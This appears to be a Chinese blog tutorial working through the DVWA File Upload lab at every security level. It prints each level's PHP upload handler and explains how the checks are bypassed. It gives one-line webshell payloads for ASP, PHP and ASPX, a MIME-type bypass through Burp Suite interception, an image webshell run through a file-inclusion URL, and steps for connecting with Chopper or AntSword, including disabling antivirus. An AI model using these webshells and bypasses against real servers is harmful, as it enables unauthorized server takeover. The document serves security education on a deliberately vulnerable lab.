文件上传漏洞是对于上传文件的类型内容没有进行严格的过滤检查,使得攻击者可以通过上传一些木马获取服务器的webshell,因此文件上传漏洞带来的危害通常都是致命的。
打开dvwa,File Upload
会看到有红色报错,具体解决办法请参考我的另一篇博客:
DVWA文件上传出现Incorrect folder permissions&The PHP module GD is not installed.的解决方法.
我们先看一下low级别的源码
:
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo 'Your image was not uploaded.
';
}
else {
// Yes!
echo "{$target_path} succesfully uploaded!
";
}
}
?>
可以看到很简单,也没有对文件进行一个判定,就是简单的一个上传
在上传文件之前,先简单说一下,因为文件上传漏洞基本上都是靠上传木马来获取服务器权限的。
一句话木马:一句话木马短小精悍、功能强大、隐蔽性好、在入侵中有强大的作用。
常见写法:
asp一句话木马
:
<%eval request(“c”)%>
php一句话木马
:
<?php @eval($_POST[value]);?>
Aspx 一句话木马
:
<%@ Page Language="Jscript"%>
<%eval(Request.Item["pass"],"unsafe");%>
这里我们用到的是php的一句话木马
先在桌面创建一个文本文档,将一句话木马复制进去,然后将它改为php文件
将这个文件进行上传
可以看到显示上传成功了,前面就是他绝对路径的地址,我们打开后可以看到我们上传的文件。
既然木马已经上传成功以后,我们就可以用菜刀进行操作,启动菜刀。
因为菜刀他本身就是一个病毒软件,运行之前要把360和防火墙关掉,如果不关会被删掉
打开菜刀,右键添加一个,url就是这个:
点添加,双击以后就可以进入文件管理页面,我们可以获得他的所有权限了,可以看到这个网站里面的所有目录,甚至是C盘文件的删除卸载或者上传等等。
由于中国菜刀作者只发布了2016版就不再更新,当前很多环境下,中国菜刀已经不能兼容,如php7环境下中国菜刀的支持已经会出问题。如果代码都没问题的情况下,菜刀连不上,可以把php的版本调回5的版本。
为了迎合时代的进步,我们也可以用一些比较新型的webshell工具,例如蚁剑或冰蝎,这里用蚁剑测试连接。
我们成功进来了!
为了不影响下一级别的测试,在修给等级之前我们先把php木马文件删除。
先分析一下源代码
:
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
// Is it an image?
if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
( $uploaded_size < 100000 ) ) {
// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo 'Your image was not uploaded.
';
}
else {
// Yes!
echo "{$target_path} succesfully uploaded!
";
}
}
else {
// Invalid file
echo 'Your image was not uploaded. We can only accept JPEG or PNG images.
';
}
}
?>
可以看出相比于low级别,加了过滤条件。
if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
( $uploaded_size < 100000 ) ) {
文件Type类型必须是jpeg或者是png,然后图片的大小要小于100kb的。
先尝试一下php的文件还能不能上传
果不其然,无法上传,提示我们只能上传jpeg或者png类型的图片
这里用的都是burpsuite
先把php的后缀改成png
然后上传png文件,抓包
这个地方我们就可以进行拦截,再把png改回php,然后Intercept is off关闭代理。
之所以要把png改回php是因为菜刀或者蚁剑之类的webshell工具要解析php文件,png解析不了。
提示上传成功,打开虚拟机里的文件夹,php文件确实上传成功了
同理,蚁剑一把梭
同理还是要先要把php文件删除,不要造成不同级别的干扰。
查看源代码
:
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];
// Is it an image?
if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
( $uploaded_size < 100000 ) &&
getimagesize( $uploaded_tmp ) ) {
// Can we move the file to the upload folder?
if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
// No
echo 'Your image was not uploaded.
';
}
else {
// Yes!
echo "{$target_path} succesfully uploaded!
";
}
}
else {
// Invalid file
echo 'Your image was not uploaded. We can only accept JPEG or PNG images.
';
}
}
?>
可以看到,High级别的代码读取文件名中最后一个"."
后的字符串,期望通过文件名来限制文件类型,因此要求上传文件名形式必须是".jpg"
、".jpeg"
、".png"
之一。同时,getimagesize
函数更是限制了上传文件的文件头必须为图像类型。
getimagesize(string filename)
函数会通过读取文件头,返回图片的长、宽等信息,如果没有相关的图片文件头,函数会报错。
看到其他人有人用**%00截断的方法进行绕过,%00**在url语言里代表空格“ ”
,因此它起到的作用就是截断文件的后半段,而解析时会是前面的脚本格式。例如:文件名为1.php%00.jpg,可以绕过后台的文件后缀检查,但是在服务器解析是会解析成1.php,但 此方法%00截断需要PHP<5.3.4,所以无法利用。
我们先拿一张真的png文件,然后改成txt的后缀,在末尾加上一句话。
将这个图片木马上传:
这个时候用蚁剑或者菜刀之类的工具是会发现连接不了的,必须要让文件执行起来才行,所以这里要配合文件包含+文件上传的方法来进行攻击。
DVWA的文件包含全等级绕过可以参考:
DVWA文件包含全等级绕过方法.
我们打开同级别high级别的文件包含,url输入
192.168.43.134/dvwa/vulnerabilities/fi/?page=file://C:\phpStudy\PHPTutorial\WWW\dvwa\hackable\uploads\tupian.png
可以看到,我们的文件被执行了
用蚁剑发现不行,我们用回菜刀,成功
具体什么原因我暂时搞不明白,因为我经常遇到蚁剑行的菜刀不行,菜刀行的蚁剑不行,所以只能两种工具轮流用,有人说是php的版本问题,等我找到原因再来补这个坑!
先查看源代码
:
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
//$target_file = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
$target_file = md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
$temp_file = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
$temp_file .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
// Is it an image?
if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&
( $uploaded_size < 100000 ) &&
( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
getimagesize( $uploaded_tmp ) ) {
// Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
if( $uploaded_type == 'image/jpeg' ) {
$img = imagecreatefromjpeg( $uploaded_tmp );
imagejpeg( $img, $temp_file, 100);
}
else {
$img = imagecreatefrompng( $uploaded_tmp );
imagepng( $img, $temp_file, 9);
}
imagedestroy( $img );
// Can we move the file to the web root from the temp folder?
if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
// Yes!
echo "${target_file} succesfully uploaded!
";
}
else {
// No
echo 'Your image was not uploaded.
';
}
// Delete any temp files
if( file_exists( $temp_file ) )
unlink( $temp_file );
}
else {
// Invalid file
echo 'Your image was not uploaded. We can only accept JPEG or PNG images.
';
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
可以看到,过滤条件多了三个函数,分别是:
1.imagecreatefromjpeg
— 由文件或 URL 创建一个新图象。
$img = imagecreatefromjpeg( $uploaded_tmp );
2.imagejpeg(image,filename,quality)
—将图像输出到浏览器或文件从image图像中以 filename 文件名创建一个jpeg的图片,参数quality可选,0-100 (质量从小到大)。
imagejpeg( $img, $temp_file, 100);
3.imagedestroy(image)
—销毁一幅图像。
Impossible级别对上传的文件进行了重命名,导致%00截断无法绕过过滤,并且加入Anti-CSRF token防护CSRF攻击,同时对文件的内容作了严格的检查,导致攻击者无法上传含有恶意脚本的文件。
本站所有文章均为原创,欢迎转载,请注明文章出处: https://blog.csdn.net/weixin_43847838/article/details/111136980.。百度和各类采集站皆不可信,搜索请谨慎鉴别。技术类文章一般都有时效性,本人习惯不定期对自己的博文进行修正和更新,因此请访问出处以查看本文的最新版本。